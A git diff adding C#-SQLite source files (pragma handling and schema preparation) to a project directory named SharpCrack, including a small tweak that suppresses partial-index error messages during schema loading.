sqlite3VdbeAddOp4( v, zCol != null ? OP_String8 : OP_Null, 0, 5, 0, zCol, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 6, 0, zOnUpdate, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 7, 0, zOnDelete, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 8, 0, "NONE", 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 8 ); + } + ++i; + pFK = pFK.pNextFrom; + } + } + } + } + else +#endif // * !SQLITE_OMIT_FOREIGN_KEY) */ + +#if !NDEBUG + if ( zLeft.Equals( "parser_trace" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( zRight != null ) + { + if ( sqlite3GetBoolean( zRight ) != 0 ) + { + sqlite3ParserTrace( Console.Out, "parser: " ); + } + else + { + sqlite3ParserTrace( null, "" ); + } + } + } + else +#endif + + /* Reinstall the LIKE and GLOB functions. The variant of LIKE +** used will be case sensitive or not depending on the RHS. +*/ + if ( zLeft.Equals( "case_sensitive_like" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( zRight != null ) + { + sqlite3RegisterLikeFunctions( db, sqlite3GetBoolean( zRight ) ); + } + } + else + +#if !SQLITE_INTEGRITY_CHECK_ERROR_MAX + //const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; +#endif + +#if !SQLITE_OMIT_INTEGRITY_CHECK + /* Pragma "quick_check" is an experimental reduced version of +** integrity_check designed to detect most database corruption +** without most of the overhead of a full integrity-check. +*/ + if ( zLeft.Equals( "integrity_check" ,StringComparison.InvariantCultureIgnoreCase ) + || zLeft.Equals( "quick_check" ,StringComparison.InvariantCultureIgnoreCase ) + ) + { + const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; + int i, j, addr, mxErr; + + /* Code that appears at the end of the integrity check. If no error + ** messages have been generated, refput OK. Otherwise output the + ** error message + */ + VdbeOpList[] endCode = new VdbeOpList[] { +new VdbeOpList( OP_AddImm, 1, 0, 0), /* 0 */ +new VdbeOpList( OP_IfNeg, 1, 0, 0), /* 1 */ +new VdbeOpList( OP_String8, 0, 3, 0), /* 2 */ +new VdbeOpList( OP_ResultRow, 3, 1, 0), +}; + + bool isQuick = ( zLeft[0] == 'q' ); + + /* Initialize the VDBE program */ + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + pParse.nMem = 6; + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "integrity_check", SQLITE_STATIC ); + + /* Set the maximum error count */ + mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; + if ( zRight != null ) + { + sqlite3GetInt32( zRight, ref mxErr ); + if ( mxErr <= 0 ) + { + mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; + } + } + sqlite3VdbeAddOp2( v, OP_Integer, mxErr, 1 ); /* reg[1] holds errors left */ + + /* Do an integrity check on each database file */ + for ( i = 0; i < db.nDb; i++ ) + { + HashElem x; + Hash pTbls; + int cnt = 0; + + if ( OMIT_TEMPDB != 0 && i == 1 ) + continue; + + sqlite3CodeVerifySchema( pParse, i ); + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Halt if out of errors */ + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + + /* Do an integrity check of the B-Tree + ** + ** Begin by filling registers 2, 3, ... with the root pages numbers + ** for all tables and indices in the database. + */ + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pTbls = db.aDb[i].pSchema.tblHash; + for ( x = pTbls.first; x != null; x = x.next ) + {// for(x=sqliteHashFirst(pTbls); x; x=sqliteHashNext(x)){ + Table pTab = (Table)x.data;// sqliteHashData( x ); + Index pIdx; + sqlite3VdbeAddOp2( v, OP_Integer, pTab.tnum, 2 + cnt ); + cnt++; + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + sqlite3VdbeAddOp2( v, OP_Integer, pIdx.tnum, 2 + cnt ); + cnt++; + } + } + + /* Make sure sufficient number of registers have been allocated */ + if ( pParse.nMem < cnt + 4 ) + { + pParse.nMem = cnt + 4; + } + + /* Do the b-tree integrity checks */ + sqlite3VdbeAddOp3( v, OP_IntegrityCk, 2, cnt, 1 ); + sqlite3VdbeChangeP5( v, (u8)i ); + addr = sqlite3VdbeAddOp1( v, OP_IsNull, 2 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + sqlite3MPrintf( db, "*** in database %s ***\n", db.aDb[i].zName ), + P4_DYNAMIC ); + sqlite3VdbeAddOp3( v, OP_Move, 2, 4, 1 ); + sqlite3VdbeAddOp3( v, OP_Concat, 4, 3, 2 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 2, 1 ); + sqlite3VdbeJumpHere( v, addr ); + + /* Make sure all the indices are constructed correctly. + */ + for ( x = pTbls.first; x != null && !isQuick; x = x.next ) + { + ;// for(x=sqliteHashFirst(pTbls); x && !isQuick; x=sqliteHashNext(x)){ + Table pTab = (Table)x.data;// sqliteHashData( x ); + Index pIdx; + int loopTop; + + if ( pTab.pIndex == null ) + continue; + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Stop if out of errors */ + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + sqlite3OpenTableAndIndices( pParse, pTab, 1, OP_OpenRead ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, 2 ); /* reg(2) will count entries */ + loopTop = sqlite3VdbeAddOp2( v, OP_Rewind, 1, 0 ); + sqlite3VdbeAddOp2( v, OP_AddImm, 2, 1 ); /* increment entry count */ + for ( j = 0, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, j++ ) + { + int jmp2; + int r1; + VdbeOpList[] idxErr = new VdbeOpList[] { +new VdbeOpList( OP_AddImm, 1, -1, 0), +new VdbeOpList( OP_String8, 0, 3, 0), /* 1 */ +new VdbeOpList( OP_Rowid, 1, 4, 0), +new VdbeOpList( OP_String8, 0, 5, 0), /* 3 */ +new VdbeOpList( OP_String8, 0, 6, 0), /* 4 */ +new VdbeOpList( OP_Concat, 4, 3, 3), +new VdbeOpList( OP_Concat, 5, 3, 3), +new VdbeOpList( OP_Concat, 6, 3, 3), +new VdbeOpList( OP_ResultRow, 3, 1, 0), +new VdbeOpList( OP_IfPos, 1, 0, 0), /* 9 */ +new VdbeOpList( OP_Halt, 0, 0, 0), +}; + r1 = sqlite3GenerateIndexKey( pParse, pIdx, 1, 3, false ); + jmp2 = sqlite3VdbeAddOp4Int( v, OP_Found, j + 2, 0, r1, pIdx.nColumn + 1 ); + addr = sqlite3VdbeAddOpList( v, ArraySize( idxErr ), idxErr ); + sqlite3VdbeChangeP4( v, addr + 1, "rowid ", SQLITE_STATIC ); + sqlite3VdbeChangeP4( v, addr + 3, " missing from index ", SQLITE_STATIC ); + sqlite3VdbeChangeP4( v, addr + 4, pIdx.zName, P4_TRANSIENT ); + sqlite3VdbeJumpHere( v, addr + 9 ); + sqlite3VdbeJumpHere( v, jmp2 ); + } + sqlite3VdbeAddOp2( v, OP_Next, 1, loopTop + 1 ); + sqlite3VdbeJumpHere( v, loopTop ); + for ( j = 0, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, j++ ) + { + VdbeOpList[] cntIdx = new VdbeOpList[] { +new VdbeOpList( OP_Integer, 0, 3, 0), +new VdbeOpList( OP_Rewind, 0, 0, 0), /* 1 */ +new VdbeOpList( OP_AddImm, 3, 1, 0), +new VdbeOpList( OP_Next, 0, 0, 0), /* 3 */ +new VdbeOpList( OP_Eq, 2, 0, 3), /* 4 */ +new VdbeOpList( OP_AddImm, 1, -1, 0), +new VdbeOpList( OP_String8, 0, 2, 0), /* 6 */ +new VdbeOpList( OP_String8, 0, 3, 0), /* 7 */ +new VdbeOpList( OP_Concat, 3, 2, 2), +new VdbeOpList( OP_ResultRow, 2, 1, 0), +}; + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + addr = sqlite3VdbeAddOpList( v, ArraySize( cntIdx ), cntIdx ); + sqlite3VdbeChangeP1( v, addr + 1, j + 2 ); + sqlite3VdbeChangeP2( v, addr + 1, addr + 4 ); + sqlite3VdbeChangeP1( v, addr + 3, j + 2 ); + sqlite3VdbeChangeP2( v, addr + 3, addr + 2 ); + sqlite3VdbeJumpHere( v, addr + 4 ); + sqlite3VdbeChangeP4( v, addr + 6, + "wrong # of entries in index ", P4_STATIC ); + sqlite3VdbeChangeP4( v, addr + 7, pIdx.zName, P4_TRANSIENT ); + } + } + } + addr = sqlite3VdbeAddOpList( v, ArraySize( endCode ), endCode ); + sqlite3VdbeChangeP2( v, addr, -mxErr ); + sqlite3VdbeJumpHere( v, addr + 1 ); + sqlite3VdbeChangeP4( v, addr + 2, "ok", P4_STATIC ); + } + else +#endif // * SQLITE_OMIT_INTEGRITY_CHECK */ + + /* +** PRAGMA encoding +** PRAGMA encoding = "utf-8"|"utf-16"|"utf-16le"|"utf-16be" +** +** In its first form, this pragma returns the encoding of the main +** database. If the database is not initialized, it is initialized now. +** +** The second form of this pragma is a no-op if the main database file +** has not already been initialized. In this case it sets the default +** encoding that will be used for the main database file if a new file +** is created. If an existing main database file is opened, then the +** default text encoding for the existing database is used. +** +** In all cases new databases created using the ATTACH command are +** created to use the same default text encoding as the main database. If +** the main database has not been initialized and/or created when ATTACH +** is executed, this is done before the ATTACH operation. +** +** In the second form this pragma sets the text encoding to be used in +** new database files created using this database handle. It is only +** useful if invoked immediately after the main database i +*/ + if ( zLeft.Equals( "encoding" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + int iEnc; + if ( null == zRight ) + { /* "PRAGMA encoding" */ + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + pParse.nErr = 0; + pParse.zErrMsg = null; + pParse.rc = 0;// reset errors goto pragma_out; + } + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "encoding", SQLITE_STATIC ); + sqlite3VdbeAddOp2( v, OP_String8, 0, 1 ); + Debug.Assert( encnames[SQLITE_UTF8].enc == SQLITE_UTF8 ); + Debug.Assert( encnames[SQLITE_UTF16LE].enc == SQLITE_UTF16LE ); + Debug.Assert( encnames[SQLITE_UTF16BE].enc == SQLITE_UTF16BE ); + sqlite3VdbeChangeP4( v, -1, encnames[ENC( pParse.db )].zName, P4_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +else +{ /* "PRAGMA encoding = XXX" */ +/* Only change the value of sqlite.enc if the database handle is not +** initialized. If the main database exists, the new sqlite.enc value +** will be overwritten when the schema is next loaded. If it does not +** already exists, it will be created to use the new encoding value. +*/ +if ( +//!(DbHasProperty(db, 0, DB_SchemaLoaded)) || +//DbHasProperty(db, 0, DB_Empty) +( db.flags & DB_SchemaLoaded ) != DB_SchemaLoaded || ( db.flags & DB_Empty ) == DB_Empty +) +{ +for ( iEnc = 0 ; encnames[iEnc].zName != null ; iEnc++ ) +{ +if ( zRight.Equals( encnames[iEnc].zName ,StringComparison.InvariantCultureIgnoreCase ) ) +{ +pParse.db.aDbStatic[0].pSchema.enc = encnames[iEnc].enc != 0 ? encnames[iEnc].enc : SQLITE_UTF16NATIVE; +break; +} +} +if ( encnames[iEnc].zName == null ) +{ +sqlite3ErrorMsg( pParse, "unsupported encoding: %s", zRight ); +} +} +} +#endif + } + else + +#if !SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS + /* +** PRAGMA [database.]schema_version +** PRAGMA [database.]schema_version = +** +** PRAGMA [database.]user_version +** PRAGMA [database.]user_version = +** +** The pragma's schema_version and user_version are used to set or get +** the value of the schema-version and user-version, respectively. Both +** the schema-version and the user-version are 32-bit signed integers +** stored in the database header. +** +** The schema-cookie is usually only manipulated internally by SQLite. It +** is incremented by SQLite whenever the database schema is modified (by +** creating or dropping a table or index). The schema version is used by +** SQLite each time a query is executed to ensure that the internal cache +** of the schema used when compiling the SQL query matches the schema of +** the database against which the compiled query is actually executed. +** Subverting this mechanism by using "PRAGMA schema_version" to modify +** the schema-version is potentially dangerous and may lead to program +** crashes or database corruption. Use with caution! +** +** The user-version is not used internally by SQLite. It may be used by +** applications for any purpose. +*/ + if ( zLeft.Equals( "schema_version" ,StringComparison.InvariantCultureIgnoreCase ) + || zLeft.Equals( "user_version" ,StringComparison.InvariantCultureIgnoreCase ) + || zLeft.Equals( "freelist_count" ,StringComparison.InvariantCultureIgnoreCase ) + ) + { + int iCookie; /* Cookie index. 1 for schema-cookie, 6 for user-cookie. */ + sqlite3VdbeUsesBtree( v, iDb ); + switch ( zLeft[0] ) + { + case 'f': + case 'F': + iCookie = BTREE_FREE_PAGE_COUNT; + break; + case 's': + case 'S': + iCookie = BTREE_SCHEMA_VERSION; + break; + default: + iCookie = BTREE_USER_VERSION; + break; + } + + if ( zRight != null && iCookie != BTREE_FREE_PAGE_COUNT ) + { + /* Write the specified cookie value */ + VdbeOpList[] setCookie = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ +new VdbeOpList( OP_Integer, 0, 1, 0), /* 1 */ +new VdbeOpList( OP_SetCookie, 0, 0, 1), /* 2 */ +}; + int addr = sqlite3VdbeAddOpList( v, ArraySize( setCookie ), setCookie ); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, sqlite3Atoi( zRight ) ); + sqlite3VdbeChangeP1( v, addr + 2, iDb ); + sqlite3VdbeChangeP2( v, addr + 2, iCookie ); + } + else + { + /* Read the specified cookie value */ + VdbeOpList[] readCookie = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, 0), /* 1 */ +new VdbeOpList( OP_ResultRow, 1, 1, 0) +}; + int addr = sqlite3VdbeAddOpList( v, readCookie.Length, readCookie );// ArraySize(readCookie), readCookie); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, iDb ); + sqlite3VdbeChangeP3( v, addr + 1, iCookie ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLeft, SQLITE_TRANSIENT ); + } + } + else if ( zLeft.Equals( "reload_schema" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + /* force schema reloading*/ + sqlite3ResetInternalSchema( db, -1 ); + } + else if ( zLeft.Equals( "file_format" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + pDb.pSchema.file_format = (u8)atoi( zRight ); + sqlite3ResetInternalSchema( db, -1 ); + } + else +#endif // * SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS */ + +#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + /* +** PRAGMA compile_options +** +** Return the names of all compile-time options used in this build, +** one option per row. +*/ + if ( zLeft.Equals( "compile_options" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + int i = 0; + string zOpt; + sqlite3VdbeSetNumCols( v, 1 ); + pParse.nMem = 1; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "compile_option", SQLITE_STATIC ); + while ( ( zOpt = sqlite3_compileoption_get( i++ ) ) != null ) + { + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, zOpt, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + } + else +#endif //* SQLITE_OMIT_COMPILEOPTION_DIAGS */ + + +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL + /* + ** PRAGMA [database.]wal_checkpoint = passive|full|restart + ** + ** Checkpoint the database. + */ + if( sqlite3StrICmp(zLeft, "wal_checkpoint")==0 ){ + int iBt = (pId2->z?iDb:SQLITE_MAX_ATTACHED); + int eMode = SQLITE_CHECKPOINT_PASSIVE; + if( zRight ){ + if( sqlite3StrICmp(zRight, "full")==0 ){ + eMode = SQLITE_CHECKPOINT_FULL; + }else if( sqlite3StrICmp(zRight, "restart")==0 ){ + eMode = SQLITE_CHECKPOINT_RESTART; + } + } + if( sqlite3ReadSchema(pParse) ) goto pragma_out; + sqlite3VdbeSetNumCols(v, 3); + pParse->nMem = 3; + sqlite3VdbeSetColName(v, 0, COLNAME_NAME, "busy", SQLITE_STATIC); + sqlite3VdbeSetColName(v, 1, COLNAME_NAME, "log", SQLITE_STATIC); + sqlite3VdbeSetColName(v, 2, COLNAME_NAME, "checkpointed", SQLITE_STATIC); + + sqlite3VdbeAddOp3(v, OP_Checkpoint, iBt, eMode, 1); + sqlite3VdbeAddOp2(v, OP_ResultRow, 1, 3); + }else + + /* + ** PRAGMA wal_autocheckpoint + ** PRAGMA wal_autocheckpoint = N + ** + ** Configure a database connection to automatically checkpoint a database + ** after accumulating N frames in the log. Or query for the current value + ** of N. + */ + if( sqlite3StrICmp(zLeft, "wal_autocheckpoint")==0 ){ + if( zRight ){ + sqlite3_wal_autocheckpoint(db, sqlite3Atoi(zRight)); + } + returnSingleInt(pParse, "wal_autocheckpoint", + db->xWalCallback==sqlite3WalDefaultHook ? + SQLITE_PTR_TO_INT(db->pWalArg) : 0); + }else +#endif + +#if SQLITE_DEBUG || SQLITE_TEST + /* +** Report the current state of file logs for all databases +*/ + if ( zLeft.Equals( "lock_status" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + string[] azLockName = { +"unlocked", "shared", "reserved", "pending", "exclusive" +}; + int i; + sqlite3VdbeSetNumCols( v, 2 ); + pParse.nMem = 2; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "database", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "status", SQLITE_STATIC ); + for ( i = 0; i < db.nDb; i++ ) + { + Btree pBt; + Pager pPager; + string zState = "unknown"; + sqlite3_int64 j = 0; + if ( db.aDb[i].zName == null ) + continue; + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, db.aDb[i].zName, P4_STATIC ); + pBt = db.aDb[i].pBt; + if ( pBt == null || ( pPager = sqlite3BtreePager( pBt ) ) == null ) + { + zState = "closed"; + } + else if ( sqlite3_file_control( db, i != 0 ? db.aDb[i].zName : null, + SQLITE_FCNTL_LOCKSTATE, ref j ) == SQLITE_OK ) + { + zState = azLockName[j]; + } + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, zState, P4_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); + } + } + else +#endif + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + // needed to support key/rekey/hexrekey with pragma cmds + if ( zLeft.Equals( "key" ,StringComparison.InvariantCultureIgnoreCase ) && !String.IsNullOrEmpty( zRight ) ) + { + sqlite3_key( db, zRight, sqlite3Strlen30( zRight ) ); + } + else + if ( zLeft.Equals( "rekey" ,StringComparison.InvariantCultureIgnoreCase ) && !String.IsNullOrEmpty( zRight ) ) + { + sqlite3_rekey( db, zRight, sqlite3Strlen30( zRight ) ); + } + else + if ( !String.IsNullOrEmpty( zRight ) && ( zLeft.Equals( "hexkey" ,StringComparison.InvariantCultureIgnoreCase ) || + zLeft.Equals( "hexrekey" ,StringComparison.InvariantCultureIgnoreCase ) ) ) + { + StringBuilder zKey = new StringBuilder( 40 ); + zRight.ToLower( new CultureInfo( "en-us" ) ); + // expected '0x0102030405060708090a0b0c0d0e0f10' + if ( zRight.Length != 34 ) + return; + + for ( int i = 2; i < zRight.Length; i += 2 ) + { + int h1 = zRight[i]; + int h2 = zRight[i + 1]; + h1 += 9 * ( 1 & ( h1 >> 6 ) ); + h2 += 9 * ( 1 & ( h2 >> 6 ) ); + zKey.Append( Convert.ToChar( ( h2 & 0x0f ) | ( ( h1 & 0xf ) << 4 ) ) ); + } + if ( ( zLeft[3] & 0xf ) == 0xb ) + { + sqlite3_key( db, zKey.ToString(), zKey.Length ); + } + else + { + sqlite3_rekey( db, zKey.ToString(), zKey.Length ); + } + } + else +#endif +//#if SQLITE_HAS_CODEC || SQLITE_ENABLE_CEROD +#if (!NOT_SQLITE_HAS_CODEC) || SQLITE_ENABLE_CEROD + if ( zLeft.Equals( "activate_extensions" ,StringComparison.InvariantCultureIgnoreCase ) ) + { +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + if ( !String.IsNullOrEmpty( zRight ) && zRight.Length > 4 && sqlite3StrNICmp( zRight, "see-", 4 ) == 0 ) + { + sqlite3_activate_see( zRight.Substring( 4 ) ); + } +#endif +#if SQLITE_ENABLE_CEROD +if( sqlite3StrNICmp(zRight, "cerod-", 6)==0 ){ +sqlite3_activate_cerod(&zRight[6]); +} +#endif + } + else +#endif + { /* Empty ELSE clause */ + } + + /* + ** Reset the safety level, in case the fullfsync flag or synchronous + ** setting changed. + */ +#if !SQLITE_OMIT_PAGER_PRAGMAS + if ( db.autoCommit != 0 ) + { + sqlite3BtreeSetSafetyLevel( pDb.pBt, pDb.safety_level, + ( ( db.flags & SQLITE_FullFSync ) != 0 ) ? 1 : 0, + ( ( db.flags & SQLITE_CkptFullFSync ) != 0 ) ? 1 : 0 ); + } +#endif +pragma_out: + sqlite3DbFree( db, ref zLeft ); + sqlite3DbFree( db, ref zRight ); + ; + } + +#endif // * SQLITE_OMIT_PRAGMA + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/prepare_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/prepare_c.cs new file mode 100644 index 0000000..57e0ade --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/prepare_c.cs @@ -0,0 +1,1089 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using sqlite3_int64 = System.Int64; + +namespace Community.CsharpSqlite +{ + using sqlite3_stmt = Sqlite3.Vdbe; + + public partial class Sqlite3 + { + /* + ** 2005 May 25 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the implementation of the sqlite3_prepare() + ** interface, and routines that contribute to loading the database schema + ** from disk. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Fill the InitData structure with an error message that indicates + ** that the database is corrupt. + */ + static void corruptSchema( + InitData pData, /* Initialization context */ + string zObj, /* Object being parsed at the point of error */ + string zExtra /* Error information */ + ) + { + sqlite3 db = pData.db; + if ( /* 0 == db.mallocFailed && */ ( db.flags & SQLITE_RecoveryMode ) == 0 ) + { + { + if ( zObj == null ) + { + zObj = "?"; +#if SQLITE_OMIT_UTF16 + if (ENC(db) != SQLITE_UTF8) + zObj =encnames[(ENC(db))].zName; +#endif + } + sqlite3SetString( ref pData.pzErrMsg, db, + "malformed database schema (%s)", zObj ); + if ( !String.IsNullOrEmpty( zExtra ) ) + { + pData.pzErrMsg = sqlite3MAppendf( db, pData.pzErrMsg + , "%s - %s", pData.pzErrMsg, zExtra ); + } + } + pData.rc = //db.mallocFailed != 0 ? SQLITE_NOMEM : + SQLITE_CORRUPT_BKPT(); + } + } + + /* + ** This is the callback routine for the code that initializes the + ** database. See sqlite3Init() below for additional information. + ** This routine is also called from the OP_ParseSchema opcode of the VDBE. + ** + ** Each callback contains the following information: + ** + ** argv[0] = name of thing being created + ** argv[1] = root page number for table or index. 0 for trigger or view. + ** argv[2] = SQL text for the CREATE statement. + ** + */ + static int sqlite3InitCallback( object pInit, sqlite3_int64 argc, object p2, object NotUsed ) + { + string[] argv = (string[])p2; + InitData pData = (InitData)pInit; + sqlite3 db = pData.db; + int iDb = pData.iDb; + + if(String.Equals(argv[0], "is_transient")) + { + return 0; + // ^ suppressing some partial index error messaging + // -@harmj0y + } + Debug.Assert( argc == 3 ); + UNUSED_PARAMETER2( NotUsed, argc ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + DbClearProperty( db, iDb, DB_Empty ); + //if ( db.mallocFailed != 0 ) + //{ + // corruptSchema( pData, argv[0], "" ); + // return 1; + //} + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + if ( argv == null ) + return 0; /* Might happen if EMPTY_RESULT_CALLBACKS are on */ + if ( argv[1] == null ) + { + corruptSchema( pData, argv[0], "" ); + } + else if ( !String.IsNullOrEmpty( argv[2] ) ) + { + /* Call the parser to process a CREATE TABLE, INDEX or VIEW. + ** But because db.init.busy is set to 1, no VDBE code is generated + ** or executed. All the parser does is build the internal data + ** structures that describe the table, index, or view. + */ + int rc; + sqlite3_stmt pStmt = null; +#if !NDEBUG || SQLITE_COVERAGE_TEST + //TESTONLY(int rcp); /* Return code from sqlite3_prepare() */ + int rcp; +#endif + Debug.Assert( db.init.busy != 0 ); + db.init.iDb = iDb; + db.init.newTnum = sqlite3Atoi( argv[1] ); + db.init.orphanTrigger = 0; + //TESTONLY(rcp = ) sqlite3_prepare(db, argv[2], -1, &pStmt, 0); +#if !NDEBUG || SQLITE_COVERAGE_TEST + rcp = sqlite3_prepare( db, argv[2], -1, ref pStmt, 0 ); +#else +sqlite3_prepare(db, argv[2], -1, ref pStmt, 0); +#endif + rc = db.errCode; +#if !NDEBUG || SQLITE_COVERAGE_TEST + Debug.Assert( ( rc & 0xFF ) == ( rcp & 0xFF ) ); +#endif + db.init.iDb = 0; + if ( SQLITE_OK != rc ) + { + if ( db.init.orphanTrigger != 0 ) + { + Debug.Assert( iDb == 1 ); + } + else + { + pData.rc = rc; + //if ( rc == SQLITE_NOMEM ) + //{ + // // db.mallocFailed = 1; + //} + //else + if ( rc != SQLITE_INTERRUPT && ( rc & 0xFF ) != SQLITE_LOCKED ) + { + //Console.WriteLine("blah2 : {0}", argv[0]); + corruptSchema( pData, argv[0], sqlite3_errmsg( db ) ); + } + } + } + sqlite3_finalize( pStmt ); + } + else if ( argv[0] == null || argv[0] == "" ) + { + corruptSchema( pData, null, null ); + } + else + { + /* If the SQL column is blank it means this is an index that + ** was created to be the PRIMARY KEY or to fulfill a UNIQUE + ** constraint for a CREATE TABLE. The index should have already + ** been created when we processed the CREATE TABLE. All we have + ** to do here is record the root page number for that index. + */ + Index pIndex; + pIndex = sqlite3FindIndex( db, argv[0], db.aDb[iDb].zName ); + if ( pIndex == null ) + { + /* This can occur if there exists an index on a TEMP table which + ** has the same name as another index on a permanent index. Since + ** the permanent table is hidden by the TEMP table, we can also + ** safely ignore the index on the permanent table. + */ + /* Do Nothing */ + ; + } + else if ( sqlite3GetInt32( argv[1], ref pIndex.tnum ) == false ) + { + corruptSchema( pData, argv[0], "invalid rootpage" ); + } + } + return 0; + } + + /* + ** Attempt to read the database schema and initialize internal + ** data structures for a single database file. The index of the + ** database file is given by iDb. iDb==0 is used for the main + ** database. iDb==1 should never be used. iDb>=2 is used for + ** auxiliary databases. Return one of the SQLITE_ error codes to + ** indicate success or failure. + */ + static int sqlite3InitOne( sqlite3 db, int iDb, ref string pzErrMsg ) + { + int rc; + int i; + int size; + Table pTab; + Db pDb; + string[] azArg = new string[4]; + u32[] meta = new u32[5]; + InitData initData = new InitData(); + string zMasterSchema; + string zMasterName; + int openedTransaction = 0; + + /* + ** The master database table has a structure like this + */ + string master_schema = + "CREATE TABLE sqlite_master(\n" + + " type text,\n" + + " name text,\n" + + " tbl_name text,\n" + + " rootpage integer,\n" + + " sql text\n" + + ")" + ; +#if !SQLITE_OMIT_TEMPDB + string temp_master_schema = + "CREATE TEMP TABLE sqlite_temp_master(\n" + + " type text,\n" + + " name text,\n" + + " tbl_name text,\n" + + " rootpage integer,\n" + + " sql text\n" + + ")" + ; +#else +//#define temp_master_schema 0 +#endif + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pSchema != null ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + Debug.Assert( iDb == 1 || sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) ); + + /* zMasterSchema and zInitScript are set to point at the master schema + ** and initialisation script appropriate for the database being + ** initialised. zMasterName is the name of the master table. + */ + if ( OMIT_TEMPDB == 0 && iDb == 1 ) + { + zMasterSchema = temp_master_schema; + } + else + { + zMasterSchema = master_schema; + } + zMasterName = SCHEMA_TABLE( iDb ); + + /* Construct the schema tables. */ + azArg[0] = zMasterName; + azArg[1] = "1"; + azArg[2] = zMasterSchema; + azArg[3] = ""; + initData.db = db; + initData.iDb = iDb; + initData.rc = SQLITE_OK; + initData.pzErrMsg = pzErrMsg; + sqlite3InitCallback( initData, 3, azArg, null ); + if ( initData.rc != 0 ) + { + rc = initData.rc; + goto error_out; + } + pTab = sqlite3FindTable( db, zMasterName, db.aDb[iDb].zName ); + if ( ALWAYS( pTab ) ) + { + pTab.tabFlags |= TF_Readonly; + } + + /* Create a cursor to hold the database open + */ + pDb = db.aDb[iDb]; + if ( pDb.pBt == null ) + { + if ( OMIT_TEMPDB == 0 && ALWAYS( iDb == 1 ) ) + { + DbSetProperty( db, 1, DB_SchemaLoaded ); + } + return SQLITE_OK; + } + + /* If there is not already a read-only (or read-write) transaction opened + ** on the b-tree database, open one now. If a transaction is opened, it + ** will be closed before this function returns. */ + 